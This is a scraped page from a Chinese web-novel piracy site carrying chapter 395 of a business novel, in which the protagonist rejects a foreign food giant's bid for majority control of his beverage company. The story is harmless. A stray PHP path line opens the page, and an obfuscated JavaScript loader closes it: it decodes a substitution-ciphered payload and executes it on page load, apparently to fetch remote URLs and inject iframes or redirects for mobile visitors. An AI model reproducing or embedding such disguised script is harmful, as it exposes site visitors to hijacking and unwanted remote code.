$floatcFile = "/www/wwwroot/xin_floatAdc.txt"; 亲爱的,你们听我解释(小小部长)_第395章 大佬是怎么谈判的!(1 / 2)_亲爱的,你们听我解释最新章节免费阅读无弹窗_新笔趣阁

第395章 大佬是怎么谈判的!(1 / 2)

笑过之后,顾运就趁机进入了主题,说道,“所以资金这一块……”

“我们滨发展当然是支持的。”夏英明先肯定了一句,然后又转了语气,“不过现在大环境你也知道,各大银行风控都很严,你们古镇我是看好的,但是风控部门我也插手不得,只能说尽力帮你们协调。”

顾运心想扯这种淡你良心不会痛吗,你特么来一趟连风控部的人都不带,摆明了只要你点头,他们的意见根本不重要。

你们两只老狐狸想做什么大家都清楚,不如就直接点好了。

于是,顾老狗也就直说了,“其实我们要的也不多,先期五个亿的授信,我相信有了这笔钱,我们再发展发展,后续的贷款就比较好办了。利率方面么,还要请夏行长高抬贵手,在基础利率上打点折扣。”

程雪晴有点惊讶地看了顾运一眼,心想这家伙也真敢说啊。

钱想多要,利息还想打折……以古镇目前的资质,能贷个两三亿,且以基础利率贷下来就谢天谢地了。

不过也只是稍微惊讶了那么一下,毕竟她也知道,他既然开口了,就没有谈不成的道理。

夏英明一拍腿,哈哈大笑起来,“顾总,你这是在给我出难题啊。来之前我还专门问过信贷部门了,他们只肯给你们1.5个亿,利率也没那么好看,说来说去……”

顿了顿,他才说道,“说来说去,还是因为顶晨放弃了这个项目,风控那帮人心里没底啊。不知道顾总还有没有其他方法,能让风控部眼前一亮的?要是有,在不违反原则的情况下,我绝对鼎力支持。”

顾老狗笑了笑,狐狸尾巴还是露出来了啊。

不就是想扯到自己的饮料公司上么?

夏英明的意思,很显然是让自己的饮料公司出面来担保,或者做股权抵押。

温暖的窝现在是瞎子都能看出赚钱的买卖,到现在产品还是供不应求,订单都能排到明年,如果让它出面,贷款当然就没问题了。

不过夏英明的目的可不止这个,毕竟他身边还坐着尚达集团的周俊,这个国际食品巨头的中华区总裁,是奔着什么目的来的,用脚趾头想都知道。

顾老狗也不想一直就这么绕圈说话,于是就按照他的意思,说道,“夏行长的话说得在理。这样,我名下有家饮料公司,不知道拿它做担保,是不是能让你们的风控眼前一亮了?”

他话音一落,夏英明就微微一笑,然后就先不说话了。

周俊看话题终于落到饮料公司上了,感激地看了夏英明一眼,然后马上对顾运说道,“顾总,我插一句,你的饮料公司现在势头正盛,而且也是刚刚开始,还是不要参与到这种三方债务去为好。毕竟一家好公司被债务拖垮的事情,可不少见。”

顾运笑道,“周总说笑了,跟你们比起来,我们还只是小朋友。”

“不敢,我们尚达一贯尊重所有对手。”周俊笑了笑,又道,“既然顾总有资金方面的需求,那我倒有个建议。”

顾老狗知道关键的要来了,于是说道,“周总请讲。”

“温暖公司现在产能受限,另外在经销渠道方面也有所欠缺,老实讲要快速扩张比较难。一款产品是有生命周期的,一旦错过了这个周期,而没能达到收益最大化,我想是一种很大的遗憾,不知道顾总认为呢?”

“呵呵,我很赞同啊。”

“这就对了。不妨直说,我们尚达这边,这些东西都是现成的,所以不知道顾总有没有想过,我们强强合作呢?”

“怎么合作呢?”

“我们出设备、出管理、出渠道,当然了,我们也会出资,出个匹配得上温暖十年内价值的资本,一起把这块蛋糕做大。”

顾老狗不动声色地喝了口茶,又问,“具体点呢?”

“方式可以很多种,最简单的当然是入股了。”

“入多少?”

“我们希望是……”周俊顿了顿,说道,“51%,当然价格方面很好谈。”

“那岂不是要控股?”顾老狗意味深长地看着周俊,“原来周总这趟来,是憋着大招呢。”

周俊面不改色地说道,“我们给贵公司的初步估值是15个亿。”

在周俊眼里,15亿的估值绝对是极高了,毕竟现在温暖的窝出货额一年也就2亿左右。

而且这家公司现在就一个产品,虽然很受欢迎,但是单品公司的成长总归是有限的。

虽然市场上也不乏可口可乐、红牛、王老吉等靠一个单品成为巨头的案例,但那毕竟只是少数,况且那些公司哪个不是上来就有资本介入呢,要不然如何投的起那么多的广告?

而尚达其实就是资本。

控股温暖的窝以后,尚达完全有能力将这个产品卖到全国,乃至全球市场。

对于这个年轻人来说,这也绝对是一笔极其划算的买卖。

毕竟首先他能获得一大笔现金,其次他还手握大量股份,到时候在尚达的加持下,这些股份会比现在值钱得多的多,他有什么理由不卖呢?

周俊知道现在有很多竞争对手都在眼红温暖的窝,所以他必须先下手为强,直接开出了他认为很有诚意的价码,毕竟这不是这款饮料挣多少钱的问题,而是已经涉及到品牌在华夏市场的地位问题。

试想,尚达如果得到这样一款堪比红牛的超级单品,老经销商会增加多少忠诚度,而新经销商又会有多少来投靠?

可以说,得到温暖的窝,他们在华夏市场的拓展工作,将实现一次质的飞跃!

但他的如意算盘显然是要打空了。

顾老狗微微一笑,说道,“周总的好意我心领了。不过,温暖的窝目前没有资金需求,没必要卖股份。”

周俊又笑了笑,“没有资金需求不代表没有引入外援的需求。顾总,相信我,尚达将会你的公司实现质的飞跃。而且我承诺,即便我们掌握了51%的股份,温暖的窝的人事架构,也不会变动。因为我们认可现阶段的管理层,我们只想让他们变得更专业、更好。”

顾老狗心想,你们外资公司这套说法骗了多少人了,最后哪个不是被你们吃得骨头都不剩,我信你个鬼。

“周总说的没错,不过我这人吧,没什么大志向,胆子又小。总觉得什么东西,攥在自己手里才是安稳的,所以这事先放一放吧。”

周俊听出顾运是不想合作,于是只好说道,“求稳是对的,不过顾总应该知道,饮料这东西是很容易模仿的,据我所知业内已经有品牌在研究你们的配方了。当然了,以尚达的研发能力也可以这么做,而且成本会更低。但是我们一向尊重对手,迄今为止都没这么想过。”

这话很委婉,但显然是在威胁,那就是如果顾运不同意合作,他们就做仿品,然后以低价和强大的渠道来取代温暖公司的婆婆茶。

尽管上一秒还客客气气宛如老友,但是这一秒,周俊身为资本家的獠牙,凶猛地露了出来。

朋友?商场上是不存在朋友的,只有利益。

气氛一下子紧张起来。

程雪晴这个时候也不敢说话,她很清楚尚达在食品行业是什么地位,在尚达这头大象面前,温暖的窝确实还只是一只小蚂蚁,只不过是强大点的蚂蚁罢了。

如果对方要抄袭,然后铺天盖地做广告、打低价,程雪晴认为,这是很有可能压垮温暖公司的。

应该说程雪晴的判断没错,可是她不知道的是,顾运手上的另外几十张汤料配方,也早已是成熟的饮料配方了。

毕竟,顾老狗在上万世里,经常靠它们混饭吃。

所以,顾运听到这话就笑了。

其一,尚达是可以模仿,甚至做到八成五到九成像都是有可能的,问题在于现在婆婆茶已经初步形成了品牌效应,网上铺天盖地地在拿它玩梗,然后陈菲儿的广告片也马上会出来,接下来他会拿出一个亿去砸广告,很快消费者只会认定温暖公司出品的才是正宗。

你一个九成像的饮料,就如同后出的乐虎,能冲击多少红牛的市场?

再说,就算你冲击到了又如何,自己手上还有几十个秘方,换一个照样能卖火,连续不断的爆品出来,经销商要跟谁走还是个问题吗?

你要山寨就接着山寨好了,山寨到一定程度,所有人都知道你们是专门搞抄袭的,这种品牌能走多远?

到时候温暖的窝,没事就跟你们打个官司,本土品牌对抗外资品牌抄袭本身就是很好的事件营销,到底谁得利,谁受损?

尚达越抄,离全面崩盘就越近,不信可以试试。

周俊看着大笑的顾运,不由眉头一皱,面露不悦,他觉得自己受到了挑衅。

“顾总,你觉得我说的不对?”

“不,你说得很对。”顾老狗止了笑,随后平静地说道,“问题是,我不太喜欢这个合作方式,很不喜欢。如果尚达有意向做仿品的话,我个人是不介意的,有钱大家赚嘛。”

顾老狗这话的意思也很明确了,少特么来这套,不服你就来试试!

周俊眼睛微微一眯,终于想起程大雷还分了根烟给他,就默默地点上了。

气氛很沉闷。

程雪晴已是秀眉微蹙,她始终觉得,顾运这么直白地得罪尚达不是很好的选择,要是她来操作的话,她会使用拖字诀,拖着拖着,等温暖的窝品牌知名度打出来了,家底厚了些了,再去拒绝。

程大雷却是不同看法,他觉得顾运拒绝得很提气,毕竟人家明摆着要威胁,还给他什么好脸色?

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();